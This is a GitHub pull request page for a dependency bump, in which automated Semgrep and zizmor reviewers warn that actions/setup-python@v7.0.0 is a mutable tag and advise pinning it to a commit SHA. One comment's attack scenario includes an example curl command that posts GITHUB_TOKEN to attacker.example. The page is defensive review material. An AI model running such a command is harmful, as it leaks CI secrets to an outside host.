Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Bump the actions group with 4 updates #2969
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: main
Are you sure you want to change the base?
Uh oh!
There was an error while loading. Please reload this page.
Bump the actions group with 4 updates #2969
Changes from all commits
9cb0521File filter
Filter by extension
Conversations
Uh oh!
There was an error while loading. Please reload this page.
Jump to
Uh oh!
There was an error while loading. Please reload this page.
There are no files selected for viewing
Check failure
Code scanning / zizmor
runtime artifacts potentially vulnerable to a cache poisoning attack: this step Error
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Semgrep identified an issue in your code:
actions/setup-python@v7.0.0uses a mutable tag, so repointing that tag would let attacker-controlled code run in thebuild_wheelsjob.More details about this
actions/setup-python@v7.0.0is referenced by a mutable tag instead of an immutable commit SHA. If the owner ofactions/setup-pythonor someone who compromises that repository repointsv7.0.0to a different commit, this workflow will run the new code inside thebuild_wheelsjob on everyubuntu,windows, andmacosrunner in this matrix.A plausible attack looks like this:
actions/setup-pythonrepository or its release process.v7.0.0tag to a commit that adds malicious code to the action.- uses: actions/setup-python@v7.0.0, GitHub downloads and executes the attacker-controlled action code.actions/checkout, inspect values passed towith:, and tamper with the Python environment beforepython -m pip installandpython -m cibuildwheel --output-dir wheelhouserun.GITHUB_TOKENor other available secrets with a command likecurl -X POST https://attacker.example/leak -d "$GITHUB_TOKEN", or modify the build so the produced wheels contain attacker code.Because this job builds distributable wheel artifacts, a repointed action here could turn a GitHub Actions tag change into a supply-chain compromise of the packages produced by
build_wheels.To resolve this comment:
✨ Commit fix suggestion
Replace the mutable action reference with a full 40-character commit SHA instead of the version tag.
Change
uses: actions/setup-python@v7.0.0touses: actions/setup-python@<40-character-commit-sha> # v7.0.0.Keep the version as a comment after the SHA, such as
# v7.0.0, so it stays clear which release the pinned commit corresponds to.Get the SHA from the upstream
actions/setup-pythonrelease page or repository for the exactv7.0.0revision, and use the full hash, not a shortened one.Pinning to a commit SHA prevents the action owner from silently changing what runs under the same tag.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasonsAlternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.
🛟 Help? Slack #semgrep-help or go/semgrep-help.
Resolution Options:
/fp $reason(if security gap doesn’t exist)/ar $reason(if gap is valid but intentional; add mitigations/monitoring)/other $reason(e.g., test-only)You can view more details about this finding in the Semgrep AppSec Platform.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Semgrep identified an issue in your code:
actions/setup-python@v7.0.0points to a mutable tag, so this job may run different action code later without any repo change. A repointed tag could let attacker-controlled code tamper with the Python setup, build, or uploaded sdist artifact.More details about this
actions/setup-python@v7.0.0is a movable GitHub Action reference, not an immutable commit. If the owner ofactions/setup-pythonor anyone who compromises that repository retagsv7.0.0, thismake_sdistjob will run the attacker’s new code when it reaches thisuses:step.A plausible attack looks like this:
v7.0.0tag to a malicious commit.make_sdistand executesuses: actions/setup-python@v7.0.0, trusting whatever code that tag points to at that moment.Build SDistandTest SDist, so it can read the checked-out source fromactions/checkout, inspect workflow-provided environment variables, or modify the Python toolchain that later runspython -m pip install -U pip buildandpython -m build --sdist ..dist/*.tar.gz, so the uploadedsdistartifact contains attacker-controlled content.Because the reference is
@v7.0.0instead of a full 40-character commit SHA, the exact code executed by this step can change without any workflow diff in your repository.To resolve this comment:
✨ Commit fix suggestion
View step-by-step instructions
Replace the mutable action reference with a full 40-character commit SHA in the
usesline.Change
actions/setup-python@v7.0.0toactions/setup-python@<full-commit-sha>, for exampleactions/setup-python@<40-hex-sha> # v7.0.0.Keep the version as a comment after the SHA so the pinned release is still easy to recognize.
Use the format
uses: actions/setup-python@<40-hex-sha> # v7.0.0.Get the SHA from the exact
v7.0.0release ofactions/setup-python, and do not use a tag, branch, or shortened hash.Pinning to a commit SHA prevents the referenced action from changing unexpectedly if the tag is moved later.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasonsAlternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.
🛟 Help? Slack #semgrep-help or go/semgrep-help.
Resolution Options:
/fp $reason(if security gap doesn’t exist)/ar $reason(if gap is valid but intentional; add mitigations/monitoring)/other $reason(e.g., test-only)You can view more details about this finding in the Semgrep AppSec Platform.
Check warning
Code scanning / zizmor
action's hash pin has mismatched or missing version comment: points to commit dc37677b2e1c Warning
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Semgrep identified an issue in your code:
actions/setup-python@v7.0.0is a movable tag, so this workflow could silently run attacker-controlled code if that tag is repointed.More details about this
Set up Pythonpullsactions/setup-python@v7.0.0, which is a tag-based reference, not a fixed commit. If the owner ofactions/setup-pythonor someone who compromises that repository repointsv7.0.0, thissbomjob will run different code without any workflow change in your repo.A plausible attack looks like this:
actions/setup-pythonand movesv7.0.0to a malicious commit.pushtomainorworkflow_dispatch, and theSet up Pythonstep resolves that tag when GitHub executesuses: actions/setup-python@v7.0.0.Generate SBOM, so it can tamper with the runner environment, read repository contents checked out byactions/checkout, or alterpython,pip, or PATH before your laterrunsteps use them.contents: writeandpull-requests: write, the malicious action could use the workflow token to push changes or open/update PRs from thesbomjob, making the compromise persistent or harder to spot.To resolve this comment:
✨ Commit fix suggestion
Replace the mutable action reference with a full 40-character commit SHA instead of the version tag.
Change
uses: actions/setup-python@v7.0.0touses: actions/setup-python@<40-character-commit-sha> # v7.0.0.Pin the SHA to the exact commit for the
actions/setup-pythonrelease you intend to use.Get the commit SHA from the action's GitHub release or tag page, and use the full hash, not a shortened one.
Keep the version as an inline comment after the SHA, such as
# v7.0.0, so future updates are easier to review.Pinning to a commit prevents the action owner from silently moving a tag to different code later.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasonsAlternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.
🛟 Help? Slack #semgrep-help or go/semgrep-help.
Resolution Options:
/fp $reason(if security gap doesn’t exist)/ar $reason(if gap is valid but intentional; add mitigations/monitoring)/other $reason(e.g., test-only)You can view more details about this finding in the Semgrep AppSec Platform.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Semgrep identified an issue in your code:
actions/setup-python@v7.0.0uses a movable tag, so a repointed release could run attacker-controlled code inmake_sdistand tamper with the built sdist artifact.More details about this
actions/setup-python@v7.0.0is fetched by tag, not by an exact commit. If thev7.0.0reference is ever moved, thismake_sdistjob will run whatever code that new action revision contains beforeBuild SDist, with access to the job workspace and any data available toactions/setup-python.A plausible attack looks like this:
actions/setup-pythonrelease process or gains permission to repoint thev7.0.0tag.v7.0.0to that commit.- uses: actions/setup-python@v7.0.0, GitHub pulls the attacker's code instead of the original release.make_sdistjob before yourpip install buildandpython -m build --sdistcommands, so it can read repository files, modify the environment, or tamper with the produceddist/*.tar.gzartifact.actions/upload-artifact@v7step can then upload a poisoned source distribution that downstream jobs such astest_sdistwill consume.To resolve this comment:
✨ Commit fix suggestion
View step-by-step instructions
Replace the mutable action reference with a full 40-character commit SHA in the same
uses:line.Change
uses: actions/setup-python@v7.0.0touses: actions/setup-python@<full-commit-sha> # v7.0.0.Keep the version comment after the SHA so it is still clear which release you intended to use, for example
uses: actions/setup-python@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa # v7.0.0.Pinning to a commit SHA prevents the action owner from silently moving the referenced version to different code later.
Use the commit SHA from the official
actions/setup-pythonrelease that corresponds tov7.0.0, instead of a branch name, tag, or shortened hash.Alternatively, if you need to stay on the latest patch release automatically, use a dependency updater to manage action SHA updates, but keep the workflow pinned as
uses: actions/setup-python@<full-commit-sha> # v7.0.0.💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasonsAlternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.
🛟 Help? Slack #semgrep-help or go/semgrep-help.
Resolution Options:
/fp $reason(if security gap doesn’t exist)/ar $reason(if gap is valid but intentional; add mitigations/monitoring)/other $reason(e.g., test-only)You can view more details about this finding in the Semgrep AppSec Platform.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Semgrep identified an issue in your code:
actions/setup-python@v7.0.0is a movable tag, so this CI job may run different action code later without any workflow change. If that tag is repointed, attacker-controlled code would execute intest_sdistbefore your install and test commands.More details about this
actions/setup-pythonis referenced asactions/setup-python@v7.0.0in this workflow step, so GitHub will fetch whatever commit thev7.0.0tag points to at run time. If the owner ofactions/setup-pythonor someone who compromises that repository silently repointsv7.0.0, thistest_sdistjob will run the attacker’s code beforepip install -e ".[test]"andpytest -v -k client_context, with access to the job workspace and any secrets or tokens available to that job.A plausible attack looks like this:
actions/setup-pythonrepository or its release process.v7.0.0tag to a new malicious commit instead of the commit this workflow originally expected.- uses: actions/setup-python@v7.0.0, GitHub Actions downloads and executes that new commit automatically.sdist/test, steals the defaultGITHUB_TOKENor other environment data, and can tamper with the Python environment that later runspip install -e ".[test]"and the test suite.@v7.0.0, the change is easy to miss in code review even though different code is now executing in CI.To resolve this comment:
✨ Commit fix suggestion
Replace the mutable GitHub Action version reference with a full 40-character commit SHA in the
uses:line.Change
actions/setup-python@v7.0.0toactions/setup-python@<full-commit-sha>and keep the version as a comment, for exampleuses: actions/setup-python@<full-commit-sha> # v7.0.0.Look up the commit SHA for the exact
actions/setup-pythonrelease you want to keep and use that SHA instead of the tag.This prevents the action from changing underneath you if the tag is moved.
Keep the existing
with:settings unchanged after pinning, for examplecache,cache-dependency-path, andpython-versiondo not need to change.Alternatively, if you need to stay on a newer upstream release, update to that release first and then pin that exact release to its full commit SHA instead of using a version tag.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasonsAlternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.
🛟 Help? Slack #semgrep-help or go/semgrep-help.
Resolution Options:
/fp $reason(if security gap doesn’t exist)/ar $reason(if gap is valid but intentional; add mitigations/monitoring)/other $reason(e.g., test-only)You can view more details about this finding in the Semgrep AppSec Platform.
Uh oh!
There was an error while loading. Please reload this page.